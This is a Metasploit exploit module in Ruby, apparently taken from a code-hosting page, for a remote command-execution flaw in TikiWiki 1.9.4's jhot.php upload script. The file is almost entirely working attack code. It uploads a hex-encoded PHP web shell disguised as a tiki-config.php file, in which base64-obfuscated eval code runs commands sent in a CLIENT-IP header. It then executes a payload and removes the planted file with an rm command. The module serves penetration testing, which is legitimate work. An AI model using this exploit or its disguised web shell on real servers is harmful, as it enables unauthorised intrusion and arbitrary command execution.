202 lines
7.4 KiB
Ruby
202 lines
7.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'TikiWiki jhot Remote Command Execution',
|
|
'Description' => %q{
|
|
TikiWiki contains a flaw that may allow a malicious user to execute
|
|
arbitrary PHP code. The issue is triggered due to the jhot.php script
|
|
not correctly verifying uploaded files. It is possible that the flaw
|
|
may allow arbitrary PHP code execution by uploading a malicious PHP
|
|
script resulting in a loss of integrity.
|
|
|
|
The vulnerability was reported in Tikiwiki version 1.9.4.
|
|
},
|
|
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2006-4602'],
|
|
['OSVDB', '28456'],
|
|
['BID', '19819'],
|
|
['URL', 'http://secunia.com/advisories/21733/'],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 1024,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd cmd_bash',
|
|
'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
|
|
}
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Sep 2 2006',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"),
|
|
'method' => 'GET'
|
|
}, 25)
|
|
|
|
http_fingerprint({ :response => res }) # check method
|
|
|
|
if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/))
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
create_temp_file()
|
|
|
|
command = payload.encoded
|
|
|
|
exe_command(command)
|
|
|
|
remove_temp_file()
|
|
end
|
|
|
|
def create_temp_file
|
|
url_jhot = normalize_uri(datastore['URI'], "/jhot.php")
|
|
|
|
scode =
|
|
"\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
|
|
"\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +
|
|
"\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +
|
|
"\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +
|
|
"\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +
|
|
"\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +
|
|
"\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +
|
|
"\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +
|
|
"\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +
|
|
"\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +
|
|
"\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +
|
|
"\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +
|
|
"\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +
|
|
"\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +
|
|
"\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +
|
|
"\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +
|
|
"\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +
|
|
"\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +
|
|
"\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +
|
|
"\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +
|
|
"\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +
|
|
"\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +
|
|
"\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +
|
|
"\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +
|
|
"\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +
|
|
"\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +
|
|
"\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +
|
|
"\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +
|
|
"\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +
|
|
"\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +
|
|
"\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +
|
|
"\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +
|
|
"\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +
|
|
"\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +
|
|
"\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +
|
|
"\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +
|
|
"\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +
|
|
"\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +
|
|
"\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +
|
|
"\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +
|
|
"\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"
|
|
|
|
data =
|
|
"-----------------------------7d529a1d23092a\r\n" +
|
|
"Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +
|
|
scode +
|
|
"\r\n" +
|
|
"-----------------------------7d529a1d23092a--\r\n"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => url_jhot,
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a',
|
|
'Connection' => 'Close',
|
|
}
|
|
}, 25)
|
|
|
|
if (res and res.message == "OK")
|
|
print_status("Successfully created temporary file.")
|
|
else
|
|
print_error("Error creating temporary file.")
|
|
end
|
|
end
|
|
|
|
def exe_command(cmd)
|
|
url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php")
|
|
|
|
res = send_request_raw({
|
|
'uri' => url_config,
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'CLIENT-IP' => "#{cmd};",
|
|
'Connection' => 'Close',
|
|
}
|
|
}, 25)
|
|
|
|
if (res and res.message == "OK" and res.body.match(/my_delim/m))
|
|
print_status("The server returned : #{res.code} #{res.message} (#{res.headers['Server']})")
|
|
|
|
cmd_output = res.body.match(/my_delim(.*)/m)
|
|
|
|
if (cmd_output)
|
|
print_status("Command output from the server :")
|
|
print("\n" + cmd_output[1] + "\n")
|
|
else
|
|
print_error('No command output found. This server may not be vulnerable.')
|
|
end
|
|
else
|
|
print_error("No response from the server")
|
|
end
|
|
end
|
|
|
|
def remove_temp_file
|
|
url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php")
|
|
|
|
res = send_request_raw({
|
|
'uri' => url_config,
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'CLIENT-IP' => 'rm -f tiki-config.php',
|
|
'Connection' => 'Close',
|
|
}
|
|
}, 25)
|
|
|
|
if (res and res.message == "OK")
|
|
print_status("Successfully remove temporary file.")
|
|
else
|
|
print_error("Error removing temporary file.")
|
|
end
|
|
end
|
|
end
|